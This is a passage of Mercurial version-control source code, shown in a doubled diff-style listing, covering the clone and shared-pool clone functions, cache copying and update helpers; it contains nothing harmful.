484 release(destlock)
485 raise
485 raise
486
486
487
487
488 def clonewithshare(
488 def clonewithshare(
489 ui,
489 ui,
490 peeropts,
490 peeropts,
491 sharepath,
491 sharepath,
492 source,
492 source,
493 srcpeer,
493 srcpeer,
494 dest,
494 dest,
495 pull=False,
495 pull=False,
496 rev=None,
496 rev=None,
497 update=True,
497 update=True,
498 stream=False,
498 stream=False,
499 ):
499 ):
500 """Perform a clone using a shared repo.
500 """Perform a clone using a shared repo.
501
501
502 The store for the repository will be located at <sharepath>/.hg. The
502 The store for the repository will be located at <sharepath>/.hg. The
503 specified revisions will be cloned or pulled from "source". A shared repo
503 specified revisions will be cloned or pulled from "source". A shared repo
504 will be created at "dest" and a working copy will be created if "update" is
504 will be created at "dest" and a working copy will be created if "update" is
505 True.
505 True.
506 """
506 """
507 revs = None
507 revs = None
508 if rev:
508 if rev:
509 if not srcpeer.capable(b'lookup'):
509 if not srcpeer.capable(b'lookup'):
510 raise error.Abort(
510 raise error.Abort(
511 _(
511 _(
512 b"src repository does not support "
512 b"src repository does not support "
513 b"revision lookup and so doesn't "
513 b"revision lookup and so doesn't "
514 b"support clone by revision"
514 b"support clone by revision"
515 )
515 )
516 )
516 )
517
517
518 # TODO this is batchable.
518 # TODO this is batchable.
519 remoterevs = []
519 remoterevs = []
520 for r in rev:
520 for r in rev:
521 with srcpeer.commandexecutor() as e:
521 with srcpeer.commandexecutor() as e:
522 remoterevs.append(
522 remoterevs.append(
523 e.callcommand(
523 e.callcommand(
524 b'lookup',
524 b'lookup',
525 {
525 {
526 b'key': r,
526 b'key': r,
527 },
527 },
528 ).result()
528 ).result()
529 )
529 )
530 revs = remoterevs
530 revs = remoterevs
531
531
532 # Obtain a lock before checking for or cloning the pooled repo otherwise
532 # Obtain a lock before checking for or cloning the pooled repo otherwise
533 # 2 clients may race creating or populating it.
533 # 2 clients may race creating or populating it.
534 pooldir = os.path.dirname(sharepath)
534 pooldir = os.path.dirname(sharepath)
535 # lock class requires the directory to exist.
535 # lock class requires the directory to exist.
536 try:
536 try:
537 util.makedir(pooldir, False)
537 util.makedir(pooldir, False)
538 except OSError as e:
538 except OSError as e:
539 if e.errno != errno.EEXIST:
539 if e.errno != errno.EEXIST:
540 raise
540 raise
541
541
542 poolvfs = vfsmod.vfs(pooldir)
542 poolvfs = vfsmod.vfs(pooldir)
543 basename = os.path.basename(sharepath)
543 basename = os.path.basename(sharepath)
544
544
545 with lock.lock(poolvfs, b'%s.lock' % basename):
545 with lock.lock(poolvfs, b'%s.lock' % basename):
546 if os.path.exists(sharepath):
546 if os.path.exists(sharepath):
547 ui.status(
547 ui.status(
548 _(b'(sharing from existing pooled repository %s)\n') % basename
548 _(b'(sharing from existing pooled repository %s)\n') % basename
549 )
549 )
550 else:
550 else:
551 ui.status(
551 ui.status(
552 _(b'(sharing from new pooled repository %s)\n') % basename
552 _(b'(sharing from new pooled repository %s)\n') % basename
553 )
553 )
554 # Always use pull mode because hardlinks in share mode don't work
554 # Always use pull mode because hardlinks in share mode don't work
555 # well. Never update because working copies aren't necessary in
555 # well. Never update because working copies aren't necessary in
556 # share mode.
556 # share mode.
557 clone(
557 clone(
558 ui,
558 ui,
559 peeropts,
559 peeropts,
560 source,
560 source,
561 dest=sharepath,
561 dest=sharepath,
562 pull=True,
562 pull=True,
563 revs=rev,
563 revs=rev,
564 update=False,
564 update=False,
565 stream=stream,
565 stream=stream,
566 )
566 )
567
567
568 # Resolve the value to put in [paths] section for the source.
568 # Resolve the value to put in [paths] section for the source.
569 if islocal(source):
569 if islocal(source):
570 defaultpath = util.abspath(urlutil.urllocalpath(source))
570 defaultpath = util.abspath(urlutil.urllocalpath(source))
571 else:
571 else:
572 defaultpath = source
572 defaultpath = source
573
573
574 sharerepo = repository(ui, path=sharepath)
574 sharerepo = repository(ui, path=sharepath)
575 destrepo = share(
575 destrepo = share(
576 ui,
576 ui,
577 sharerepo,
577 sharerepo,
578 dest=dest,
578 dest=dest,
579 update=False,
579 update=False,
580 bookmarks=False,
580 bookmarks=False,
581 defaultpath=defaultpath,
581 defaultpath=defaultpath,
582 )
582 )
583
583
584 # We need to perform a pull against the dest repo to fetch bookmarks
584 # We need to perform a pull against the dest repo to fetch bookmarks
585 # and other non-store data that isn't shared by default. In the case of
585 # and other non-store data that isn't shared by default. In the case of
586 # non-existing shared repo, this means we pull from the remote twice. This
586 # non-existing shared repo, this means we pull from the remote twice. This
587 # is a bit weird. But at the time it was implemented, there wasn't an easy
587 # is a bit weird. But at the time it was implemented, there wasn't an easy
588 # way to pull just non-changegroup data.
588 # way to pull just non-changegroup data.
589 exchange.pull(destrepo, srcpeer, heads=revs)
589 exchange.pull(destrepo, srcpeer, heads=revs)
590
590
591 _postshareupdate(destrepo, update)
591 _postshareupdate(destrepo, update)
592
592
593 return srcpeer, peer(ui, peeropts, dest)
593 return srcpeer, peer(ui, peeropts, dest)
594
594
595
595
596 # Recomputing caches is often slow on big repos, so copy them.
596 # Recomputing caches is often slow on big repos, so copy them.
597 def _copycache(srcrepo, dstcachedir, fname):
597 def _copycache(srcrepo, dstcachedir, fname):
598 """copy a cache from srcrepo to destcachedir (if it exists)"""
598 """copy a cache from srcrepo to destcachedir (if it exists)"""
599 srcfname = srcrepo.cachevfs.join(fname)
599 srcfname = srcrepo.cachevfs.join(fname)
600 dstfname = os.path.join(dstcachedir, fname)
600 dstfname = os.path.join(dstcachedir, fname)
601 if os.path.exists(srcfname):
601 if os.path.exists(srcfname):
602 if not os.path.exists(dstcachedir):
602 if not os.path.exists(dstcachedir):
603 os.mkdir(dstcachedir)
603 os.mkdir(dstcachedir)
604 util.copyfile(srcfname, dstfname)
604 util.copyfile(srcfname, dstfname)
605
605
606
606
607 def clone(
607 def clone(
608 ui,
608 ui,
609 peeropts,
609 peeropts,
610 source,
610 source,
611 dest=None,
611 dest=None,
612 pull=False,
612 pull=False,
613 revs=None,
613 revs=None,
614 update=True,
614 update=True,
615 stream=False,
615 stream=False,
616 branch=None,
616 branch=None,
617 shareopts=None,
617 shareopts=None,
618 storeincludepats=None,
618 storeincludepats=None,
619 storeexcludepats=None,
619 storeexcludepats=None,
620 depth=None,
620 depth=None,
621 ):
621 ):
622 """Make a copy of an existing repository.
622 """Make a copy of an existing repository.
623
623
624 Create a copy of an existing repository in a new directory. The
624 Create a copy of an existing repository in a new directory. The
625 source and destination are URLs, as passed to the repository
625 source and destination are URLs, as passed to the repository
626 function. Returns a pair of repository peers, the source and
626 function. Returns a pair of repository peers, the source and
627 newly created destination.
627 newly created destination.
628
628
629 The location of the source is added to the new repository's
629 The location of the source is added to the new repository's
630 .hg/hgrc file, as the default to be used for future pulls and
630 .hg/hgrc file, as the default to be used for future pulls and
631 pushes.
631 pushes.
632
632
633 If an exception is raised, the partly cloned/updated destination
633 If an exception is raised, the partly cloned/updated destination
634 repository will be deleted.
634 repository will be deleted.
635
635
636 Arguments:
636 Arguments:
637
637
638 source: repository object or URL
638 source: repository object or URL
639
639
640 dest: URL of destination repository to create (defaults to base
640 dest: URL of destination repository to create (defaults to base
641 name of source repository)
641 name of source repository)
642
642
643 pull: always pull from source repository, even in local case or if the
643 pull: always pull from source repository, even in local case or if the
644 server prefers streaming
644 server prefers streaming
645
645
646 stream: stream raw data uncompressed from repository (fast over
646 stream: stream raw data uncompressed from repository (fast over
647 LAN, slow over WAN)
647 LAN, slow over WAN)
648
648
649 revs: revision to clone up to (implies pull=True)
649 revs: revision to clone up to (implies pull=True)
650
650
651 update: update working directory after clone completes, if
651 update: update working directory after clone completes, if
652 destination is local repository (True means update to default rev,
652 destination is local repository (True means update to default rev,
653 anything else is treated as a revision)
653 anything else is treated as a revision)
654
654
655 branch: branches to clone
655 branch: branches to clone
656
656
657 shareopts: dict of options to control auto sharing behavior. The "pool" key
657 shareopts: dict of options to control auto sharing behavior. The "pool" key
658 activates auto sharing mode and defines the directory for stores. The
658 activates auto sharing mode and defines the directory for stores. The
659 "mode" key determines how to construct the directory name of the shared
659 "mode" key determines how to construct the directory name of the shared
660 repository. "identity" means the name is derived from the node of the first
660 repository. "identity" means the name is derived from the node of the first
661 changeset in the repository. "remote" means the name is derived from the
661 changeset in the repository. "remote" means the name is derived from the
662 remote's path/URL. Defaults to "identity."
662 remote's path/URL. Defaults to "identity."
663
663
664 storeincludepats and storeexcludepats: sets of file patterns to include and
664 storeincludepats and storeexcludepats: sets of file patterns to include and
665 exclude in the repository copy, respectively. If not defined, all files
665 exclude in the repository copy, respectively. If not defined, all files
666 will be included (a "full" clone). Otherwise a "narrow" clone containing
666 will be included (a "full" clone). Otherwise a "narrow" clone containing
667 only the requested files will be performed. If ``storeincludepats`` is not
667 only the requested files will be performed. If ``storeincludepats`` is not
668 defined but ``storeexcludepats`` is, ``storeincludepats`` is assumed to be
668 defined but ``storeexcludepats`` is, ``storeincludepats`` is assumed to be
669 ``path:.``. If both are empty sets, no files will be cloned.
669 ``path:.``. If both are empty sets, no files will be cloned.
670 """
670 """
671
671
672 if isinstance(source, bytes):
672 if isinstance(source, bytes):
673 src = urlutil.get_clone_path(ui, source, branch)
673 src = urlutil.get_clone_path(ui, source, branch)
674 origsource, source, branches = src
674 origsource, source, branches = src
675 srcpeer = peer(ui, peeropts, source)
675 srcpeer = peer(ui, peeropts, source)
676 else:
676 else:
677 srcpeer = source.peer() # in case we were called with a localrepo
677 srcpeer = source.peer() # in case we were called with a localrepo
678 branches = (None, branch or [])
678 branches = (None, branch or [])
679 origsource = source = srcpeer.url()
679 origsource = source = srcpeer.url()
680 srclock = destlock = cleandir = None
680 srclock = destlock = cleandir = None
681 destpeer = None
681 destpeer = None
682 try:
682 try:
683 revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
683 revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
684
684
685 if dest is None:
685 if dest is None:
686 dest = defaultdest(source)
686 dest = defaultdest(source)
687 if dest:
687 if dest:
688 ui.status(_(b"destination directory: %s\n") % dest)
688 ui.status(_(b"destination directory: %s\n") % dest)
689 else:
689 else:
690 dest = urlutil.get_clone_path(ui, dest)[0]
690 dest = urlutil.get_clone_path(ui, dest)[0]
691
691
692 dest = urlutil.urllocalpath(dest)
692 dest = urlutil.urllocalpath(dest)
693 source = urlutil.urllocalpath(source)
693 source = urlutil.urllocalpath(source)
694
694
695 if not dest:
695 if not dest:
696 raise error.InputError(_(b"empty destination path is not valid"))
696 raise error.InputError(_(b"empty destination path is not valid"))
697
697
698 destvfs = vfsmod.vfs(dest, expandpath=True)
698 destvfs = vfsmod.vfs(dest, expandpath=True)
699 if destvfs.lexists():
699 if destvfs.lexists():
700 if not destvfs.isdir():
700 if not destvfs.isdir():
701 raise error.InputError(
701 raise error.InputError(
702 _(b"destination '%s' already exists") % dest
702 _(b"destination '%s' already exists") % dest
703 )
703 )
704 elif destvfs.listdir():
704 elif destvfs.listdir():
705 raise error.InputError(
705 raise error.InputError(
706 _(b"destination '%s' is not empty") % dest
706 _(b"destination '%s' is not empty") % dest
707 )
707 )
708
708
709 createopts = {}
709 createopts = {}
710 narrow = False
710 narrow = False
711
711
712 if storeincludepats is not None:
712 if storeincludepats is not None:
713 narrowspec.validatepatterns(storeincludepats)
713 narrowspec.validatepatterns(storeincludepats)
714 narrow = True
714 narrow = True
715
715
716 if storeexcludepats is not None:
716 if storeexcludepats is not None:
717 narrowspec.validatepatterns(storeexcludepats)
717 narrowspec.validatepatterns(storeexcludepats)
718 narrow = True
718 narrow = True
719
719
720 if narrow:
720 if narrow:
721 # Include everything by default if only exclusion patterns defined.
721 # Include everything by default if only exclusion patterns defined.
722 if storeexcludepats and not storeincludepats:
722 if storeexcludepats and not storeincludepats:
723 storeincludepats = {b'path:.'}
723 storeincludepats = {b'path:.'}
724
724
725 createopts[b'narrowfiles'] = True
725 createopts[b'narrowfiles'] = True
726
726
727 if depth:
727 if depth:
728 createopts[b'shallowfilestore'] = True
728 createopts[b'shallowfilestore'] = True
729
729
730 if srcpeer.capable(b'lfs-serve'):
730 if srcpeer.capable(b'lfs-serve'):
731 # Repository creation honors the config if it disabled the extension, so
731 # Repository creation honors the config if it disabled the extension, so
732 # we can't just announce that lfs will be enabled. This check avoids
732 # we can't just announce that lfs will be enabled. This check avoids
733 # saying that lfs will be enabled, and then saying it's an unknown
733 # saying that lfs will be enabled, and then saying it's an unknown
734 # feature. The lfs creation option is set in either case so that a
734 # feature. The lfs creation option is set in either case so that a
735 # requirement is added. If the extension is explicitly disabled but the
735 # requirement is added. If the extension is explicitly disabled but the
736 # requirement is set, the clone aborts early, before transferring any
736 # requirement is set, the clone aborts early, before transferring any
737 # data.
737 # data.
738 createopts[b'lfs'] = True
738 createopts[b'lfs'] = True
739
739
740 if extensions.disabled_help(b'lfs'):
740 if extensions.disabled_help(b'lfs'):
741 ui.status(
741 ui.status(
742 _(
742 _(
743 b'(remote is using large file support (lfs), but it is '
743 b'(remote is using large file support (lfs), but it is '
744 b'explicitly disabled in the local configuration)\n'
744 b'explicitly disabled in the local configuration)\n'
745 )
745 )
746 )
746 )
747 else:
747 else:
748 ui.status(
748 ui.status(
749 _(
749 _(
750 b'(remote is using large file support (lfs); lfs will '
750 b'(remote is using large file support (lfs); lfs will '
751 b'be enabled for this repository)\n'
751 b'be enabled for this repository)\n'
752 )
752 )
753 )
753 )
754
754
755 shareopts = shareopts or {}
755 shareopts = shareopts or {}
756 sharepool = shareopts.get(b'pool')
756 sharepool = shareopts.get(b'pool')
757 sharenamemode = shareopts.get(b'mode')
757 sharenamemode = shareopts.get(b'mode')
758 if sharepool and islocal(dest):
758 if sharepool and islocal(dest):
759 sharepath = None
759 sharepath = None
760 if sharenamemode == b'identity':
760 if sharenamemode == b'identity':
761 # Resolve the name from the initial changeset in the remote
761 # Resolve the name from the initial changeset in the remote
762 # repository. This returns nullid when the remote is empty. It
762 # repository. This returns nullid when the remote is empty. It
763 # raises RepoLookupError if revision 0 is filtered or otherwise
763 # raises RepoLookupError if revision 0 is filtered or otherwise
764 # not available. If we fail to resolve, sharing is not enabled.
764 # not available. If we fail to resolve, sharing is not enabled.
765 try:
765 try:
766 with srcpeer.commandexecutor() as e:
766 with srcpeer.commandexecutor() as e:
767 rootnode = e.callcommand(
767 rootnode = e.callcommand(
768 b'lookup',
768 b'lookup',
769 {
769 {
770 b'key': b'0',
770 b'key': b'0',
771 },
771 },
772 ).result()
772 ).result()
773
773
774 if rootnode != sha1nodeconstants.nullid:
774 if rootnode != sha1nodeconstants.nullid:
775 sharepath = os.path.join(sharepool, hex(rootnode))
775 sharepath = os.path.join(sharepool, hex(rootnode))
776 else:
776 else:
777 ui.status(
777 ui.status(
778 _(
778 _(
779 b'(not using pooled storage: '
779 b'(not using pooled storage: '
780 b'remote appears to be empty)\n'
780 b'remote appears to be empty)\n'
781 )
781 )
782 )
782 )
783 except error.RepoLookupError:
783 except error.RepoLookupError:
784 ui.status(
784 ui.status(
785 _(
785 _(
786 b'(not using pooled storage: '
786 b'(not using pooled storage: '
787 b'unable to resolve identity of remote)\n'
787 b'unable to resolve identity of remote)\n'
788 )
788 )
789 )
789 )
790 elif sharenamemode == b'remote':
790 elif sharenamemode == b'remote':
791 sharepath = os.path.join(
791 sharepath = os.path.join(
792 sharepool, hex(hashutil.sha1(source).digest())
792 sharepool, hex(hashutil.sha1(source).digest())
793 )
793 )
794 else:
794 else:
795 raise error.Abort(
795 raise error.Abort(
796 _(b'unknown share naming mode: %s') % sharenamemode
796 _(b'unknown share naming mode: %s') % sharenamemode
797 )
797 )
798
798
799 # TODO this is a somewhat arbitrary restriction.
799 # TODO this is a somewhat arbitrary restriction.
800 if narrow:
800 if narrow:
801 ui.status(
801 ui.status(
802 _(b'(pooled storage not supported for narrow clones)\n')
802 _(b'(pooled storage not supported for narrow clones)\n')
803 )
803 )
804 sharepath = None
804 sharepath = None
805
805
806 if sharepath:
806 if sharepath:
807 return clonewithshare(
807 return clonewithshare(
808 ui,
808 ui,
809 peeropts,
809 peeropts,
810 sharepath,
810 sharepath,
811 source,
811 source,
812 srcpeer,
812 srcpeer,
813 dest,
813 dest,
814 pull=pull,
814 pull=pull,
815 rev=revs,
815 rev=revs,
816 update=update,
816 update=update,
817 stream=stream,
817 stream=stream,
818 )
818 )
819
819
820 srcrepo = srcpeer.local()
820 srcrepo = srcpeer.local()
821
821
822 abspath = origsource
822 abspath = origsource
823 if islocal(origsource):
823 if islocal(origsource):
824 abspath = util.abspath(urlutil.urllocalpath(origsource))
824 abspath = util.abspath(urlutil.urllocalpath(origsource))
825
825
826 if islocal(dest):
826 if islocal(dest):
827 if os.path.exists(dest):
827 if os.path.exists(dest):
828 # only clean up directories we create ourselves
828 # only clean up directories we create ourselves
829 hgdir = os.path.realpath(os.path.join(dest, b".hg"))
829 hgdir = os.path.realpath(os.path.join(dest, b".hg"))
830 cleandir = hgdir
830 cleandir = hgdir
831 else:
831 else:
832 cleandir = dest
832 cleandir = dest
833
833
834 copy = False
834 copy = False
835 if (
835 if (
836 srcrepo
836 srcrepo
837 and srcrepo.cancopy()
837 and srcrepo.cancopy()
838 and islocal(dest)
838 and islocal(dest)
839 and not phases.hassecret(srcrepo)
839 and not phases.hassecret(srcrepo)
840 ):
840 ):
841 copy = not pull and not revs
841 copy = not pull and not revs
842
842
843 # TODO this is a somewhat arbitrary restriction.
843 # TODO this is a somewhat arbitrary restriction.
844 if narrow:
844 if narrow:
845 copy = False
845 copy = False
846
846
847 if copy:
847 if copy:
848 try:
848 try:
849 # we use a lock here because if we race with commit, we
849 # we use a lock here because if we race with commit, we
850 # can end up with extra data in the cloned revlogs that's
850 # can end up with extra data in the cloned revlogs that's
851 # not pointed to by changesets, thus causing verify to
851 # not pointed to by changesets, thus causing verify to
852 # fail
852 # fail
853 srclock = srcrepo.lock(wait=False)
853 srclock = srcrepo.lock(wait=False)
854 except error.LockError:
854 except error.LockError:
855 copy = False
855 copy = False
856
856
857 if copy:
857 if copy:
858 srcrepo.hook(b'preoutgoing', throw=True, source=b'clone')
858 srcrepo.hook(b'preoutgoing', throw=True, source=b'clone')
859
859
860 destrootpath = urlutil.urllocalpath(dest)
860 destrootpath = urlutil.urllocalpath(dest)
861 dest_reqs = localrepo.clone_requirements(ui, createopts, srcrepo)
861 dest_reqs = localrepo.clone_requirements(ui, createopts, srcrepo)
862 localrepo.createrepository(
862 localrepo.createrepository(
863 ui,
863 ui,
864 destrootpath,
864 destrootpath,
865 requirements=dest_reqs,
865 requirements=dest_reqs,
866 )
866 )
867 destrepo = localrepo.makelocalrepository(ui, destrootpath)
867 destrepo = localrepo.makelocalrepository(ui, destrootpath)
868 destlock = destrepo.lock()
868 destlock = destrepo.lock()
869 from . import streamclone # avoid cycle
869 from . import streamclone # avoid cycle
870
870
871 streamclone.local_copy(srcrepo, destrepo)
871 streamclone.local_copy(srcrepo, destrepo)
872
872
873 # we need to re-init the repo after manually copying the data
873 # we need to re-init the repo after manually copying the data
874 # into it
874 # into it
875 destpeer = peer(srcrepo, peeropts, dest)
875 destpeer = peer(srcrepo, peeropts, dest)
876 srcrepo.hook(
876 srcrepo.hook(
877 b'outgoing', source=b'clone', node=srcrepo.nodeconstants.nullhex
877 b'outgoing', source=b'clone', node=srcrepo.nodeconstants.nullhex
878 )
878 )
879 else:
879 else:
880 try:
880 try:
881 # only pass ui when no srcrepo
881 # only pass ui when no srcrepo
882 destpeer = peer(
882 destpeer = peer(
883 srcrepo or ui,
883 srcrepo or ui,
884 peeropts,
884 peeropts,
885 dest,
885 dest,
886 create=True,
886 create=True,
887 createopts=createopts,
887 createopts=createopts,
888 )
888 )
889 except OSError as inst:
889 except OSError as inst:
890 if inst.errno == errno.EEXIST:
890 if inst.errno == errno.EEXIST:
891 cleandir = None
891 cleandir = None
892 raise error.Abort(
892 raise error.Abort(
893 _(b"destination '%s' already exists") % dest
893 _(b"destination '%s' already exists") % dest
894 )
894 )
895 raise
895 raise
896
896
897 if revs:
897 if revs:
898 if not srcpeer.capable(b'lookup'):
898 if not srcpeer.capable(b'lookup'):
899 raise error.Abort(
899 raise error.Abort(
900 _(
900 _(
901 b"src repository does not support "
901 b"src repository does not support "
902 b"revision lookup and so doesn't "
902 b"revision lookup and so doesn't "
903 b"support clone by revision"
903 b"support clone by revision"
904 )
904 )
905 )
905 )
906
906
907 # TODO this is batchable.
907 # TODO this is batchable.
908 remoterevs = []
908 remoterevs = []
909 for rev in revs:
909 for rev in revs:
910 with srcpeer.commandexecutor() as e:
910 with srcpeer.commandexecutor() as e:
911 remoterevs.append(
911 remoterevs.append(
912 e.callcommand(
912 e.callcommand(
913 b'lookup',
913 b'lookup',
914 {
914 {
915 b'key': rev,
915 b'key': rev,
916 },
916 },
917 ).result()
917 ).result()
918 )
918 )
919 revs = remoterevs
919 revs = remoterevs
920
920
921 checkout = revs[0]
921 checkout = revs[0]
922 else:
922 else:
923 revs = None
923 revs = None
924 local = destpeer.local()
924 local = destpeer.local()
925 if local:
925 if local:
926 if narrow:
926 if narrow:
927 with local.wlock(), local.lock():
927 with local.wlock(), local.lock():
928 local.setnarrowpats(storeincludepats, storeexcludepats)
928 local.setnarrowpats(storeincludepats, storeexcludepats)
929 narrowspec.copytoworkingcopy(local)
929 narrowspec.copytoworkingcopy(local)
930
930
931 u = urlutil.url(abspath)
931 u = urlutil.url(abspath)
932 defaulturl = bytes(u)
932 defaulturl = bytes(u)
933 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
933 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
934 if not stream:
934 if not stream:
935 if pull:
935 if pull:
936 stream = False
936 stream = False
937 else:
937 else:
938 stream = None
938 stream = None
939 # internal config: ui.quietbookmarkmove
939 # internal config: ui.quietbookmarkmove
940 overrides = {(b'ui', b'quietbookmarkmove'): True}
940 overrides = {(b'ui', b'quietbookmarkmove'): True}
941 with local.ui.configoverride(overrides, b'clone'):
941 with local.ui.configoverride(overrides, b'clone'):
942 exchange.pull(
942 exchange.pull(
943 local,
943 local,
944 srcpeer,
944 srcpeer,
945 revs,
945 revs,
946 streamclonerequested=stream,
946 streamclonerequested=stream,
947 includepats=storeincludepats,
947 includepats=storeincludepats,
948 excludepats=storeexcludepats,
948 excludepats=storeexcludepats,
949 depth=depth,
949 depth=depth,
950 )
950 )
951 elif srcrepo:
951 elif srcrepo:
952 # TODO lift restriction once exchange.push() accepts narrow
952 # TODO lift restriction once exchange.push() accepts narrow
953 # push.
953 # push.
954 if narrow:
954 if narrow:
955 raise error.Abort(
955 raise error.Abort(
956 _(
956 _(
957 b'narrow clone not available for '
957 b'narrow clone not available for '
958 b'remote destinations'
958 b'remote destinations'
959 )
959 )
960 )
960 )
961
961
962 exchange.push(
962 exchange.push(
963 srcrepo,
963 srcrepo,
964 destpeer,
964 destpeer,
965 revs=revs,
965 revs=revs,
966 bookmarks=srcrepo._bookmarks.keys(),
966 bookmarks=srcrepo._bookmarks.keys(),
967 )
967 )
968 else:
968 else:
969 raise error.Abort(
969 raise error.Abort(
970 _(b"clone from remote to remote not supported")
970 _(b"clone from remote to remote not supported")
971 )
971 )
972
972
973 cleandir = None
973 cleandir = None
974
974
975 destrepo = destpeer.local()
975 destrepo = destpeer.local()
976 if destrepo:
976 if destrepo:
977 template = uimod.samplehgrcs[b'cloned']
977 template = uimod.samplehgrcs[b'cloned']
978 u = urlutil.url(abspath)
978 u = urlutil.url(abspath)
979 u.passwd = None
979 u.passwd = None
980 defaulturl = bytes(u)
980 defaulturl = bytes(u)
981 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
981 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
982 destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
982 destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
983
983
984 if ui.configbool(b'experimental', b'remotenames'):
984 if ui.configbool(b'experimental', b'remotenames'):
985 logexchange.pullremotenames(destrepo, srcpeer)
985 logexchange.pullremotenames(destrepo, srcpeer)
986
986
987 if update:
987 if update:
988 if update is not True:
988 if update is not True:
989 with srcpeer.commandexecutor() as e:
989 with srcpeer.commandexecutor() as e:
990 checkout = e.callcommand(
990 checkout = e.callcommand(
991 b'lookup',
991 b'lookup',
992 {
992 {
993 b'key': update,
993 b'key': update,
994 },
994 },
995 ).result()
995 ).result()
996
996
997 uprev = None
997 uprev = None
998 status = None
998 status = None
999 if checkout is not None:
999 if checkout is not None:
1000 # Some extensions (at least hg-git and hg-subversion) have
1000 # Some extensions (at least hg-git and hg-subversion) have
1001 # a peer.lookup() implementation that returns a name instead
1001 # a peer.lookup() implementation that returns a name instead
1002 # of a nodeid. We work around it here until we've figured
1002 # of a nodeid. We work around it here until we've figured
1003 # out a better solution.
1003 # out a better solution.
1004 if len(checkout) == 20 and checkout in destrepo:
1004 if len(checkout) == 20 and checkout in destrepo:
1005 uprev = checkout
1005 uprev = checkout
1006 elif scmutil.isrevsymbol(destrepo, checkout):
1006 elif scmutil.isrevsymbol(destrepo, checkout):
1007 uprev = scmutil.revsymbol(destrepo, checkout).node()
1007 uprev = scmutil.revsymbol(destrepo, checkout).node()
1008 else:
1008 else:
1009 if update is not True:
1009 if update is not True:
1010 try:
1010 try:
1011 uprev = destrepo.lookup(update)
1011 uprev = destrepo.lookup(update)
1012 except error.RepoLookupError:
1012 except error.RepoLookupError:
1013 pass
1013 pass
1014 if uprev is None:
1014 if uprev is None:
1015 try:
1015 try:
1016 if destrepo._activebookmark:
1016 if destrepo._activebookmark:
1017 uprev = destrepo.lookup(destrepo._activebookmark)
1017 uprev = destrepo.lookup(destrepo._activebookmark)
1018 update = destrepo._activebookmark
1018 update = destrepo._activebookmark
1019 else:
1019 else:
1020 uprev = destrepo._bookmarks[b'@']
1020 uprev = destrepo._bookmarks[b'@']
1021 update = b'@'
1021 update = b'@'
1022 bn = destrepo[uprev].branch()
1022 bn = destrepo[uprev].branch()
1023 if bn == b'default':
1023 if bn == b'default':
1024 status = _(b"updating to bookmark %s\n" % update)
1024 status = _(b"updating to bookmark %s\n" % update)
1025 else:
1025 else:
1026 status = (
1026 status = (
1027 _(b"updating to bookmark %s on branch %s\n")
1027 _(b"updating to bookmark %s on branch %s\n")
1028 ) % (update, bn)
1028 ) % (update, bn)
1029 except KeyError:
1029 except KeyError:
1030 try:
1030 try:
1031 uprev = destrepo.branchtip(b'default')
1031 uprev = destrepo.branchtip(b'default')
1032 except error.RepoLookupError:
1032 except error.RepoLookupError:
1033 uprev = destrepo.lookup(b'tip')
1033 uprev = destrepo.lookup(b'tip')
1034 if not status:
1034 if not status:
1035 bn = destrepo[uprev].branch()
1035 bn = destrepo[uprev].branch()
1036 status = _(b"updating to branch %s\n") % bn
1036 status = _(b"updating to branch %s\n") % bn
1037 destrepo.ui.status(status)
1037 destrepo.ui.status(status)
1038 _update(destrepo, uprev)
1038 _update(destrepo, uprev)
1039 if update in destrepo._bookmarks:
1039 if update in destrepo._bookmarks:
1040 bookmarks.activate(destrepo, update)
1040 bookmarks.activate(destrepo, update)
1041 if destlock is not None:
1041 if destlock is not None:
1042 release(destlock)
1042 release(destlock)
1043 # here is a tiny windows were someone could end up writing the
1043 # here is a tiny windows were someone could end up writing the
1044 # repository before the cache are sure to be warm. This is "fine"
1044 # repository before the cache are sure to be warm. This is "fine"
1045 # as the only "bad" outcome would be some slowness. That potential
1045 # as the only "bad" outcome would be some slowness. That potential
1046 # slowness already affect reader.
1046 # slowness already affect reader.
1047 with destrepo.lock():
1047 with destrepo.lock():
1048 destrepo.updatecaches(caches=repositorymod.CACHES_POST_CLONE)
1048 destrepo.updatecaches(caches=repositorymod.CACHES_POST_CLONE)
1049 finally:
1049 finally:
1050 release(srclock, destlock)
1050 release(srclock, destlock)
1051 if cleandir is not None:
1051 if cleandir is not None:
1052 shutil.rmtree(cleandir, True)
1052 shutil.rmtree(cleandir, True)
1053 if srcpeer is not None:
1053 if srcpeer is not None:
1054 srcpeer.close()
1054 srcpeer.close()
1055 if destpeer and destpeer.local() is None:
1055 if destpeer and destpeer.local() is None:
1056 destpeer.close()
1056 destpeer.close()
1057 return srcpeer, destpeer
1057 return srcpeer, destpeer
1058
1058
1059
1059
1060 def _showstats(repo, stats, quietempty=False):
1060 def _showstats(repo, stats, quietempty=False):
1061 if quietempty and stats.isempty():
1061 if quietempty and stats.isempty():
1062 return
1062 return
1063 repo.ui.status(
1063 repo.ui.status(
1064 _(
1064 _(
1065 b"%d files updated, %d files merged, "
1065 b"%d files updated, %d files merged, "
1066 b"%d files removed, %d files unresolved\n"
1066 b"%d files removed, %d files unresolved\n"
1067 )
1067 )
1068 % (
1068 % (
1069 stats.updatedcount,
1069 stats.updatedcount,
1070 stats.mergedcount,
1070 stats.mergedcount,
1071 stats.removedcount,
1071 stats.removedcount,
1072 stats.unresolvedcount,
1072 stats.unresolvedcount,
1073 )
1073 )
1074 )
1074 )
1075
1075
1076
1076
1077 def updaterepo(repo, node, overwrite, updatecheck=None):
1077 def updaterepo(repo, node, overwrite, updatecheck=None):
1078 """Update the working directory to node.
1078 """Update the working directory to node.
1079
1079
1080 When overwrite is set, changes are clobbered, merged else
1080 When overwrite is set, changes are clobbered, merged else
1081
1081
1082 returns stats (see pydoc mercurial.merge.applyupdates)"""
1082 returns stats (see pydoc mercurial.merge.applyupdates)"""
1083 repo.ui.deprecwarn(
1083 repo.ui.deprecwarn(
1084 b'prefer merge.update() or merge.clean_update() over hg.updaterepo()',
1084 b'prefer merge.update() or merge.clean_update() over hg.updaterepo()',
1085 b'5.7',
1085 b'5.7',
1086 )
1086 )
1087 return mergemod._update(
1087 return mergemod._update(
1088 repo,
1088 repo,
1089 node,
1089 node,
1090 branchmerge=False,
1090 branchmerge=False,
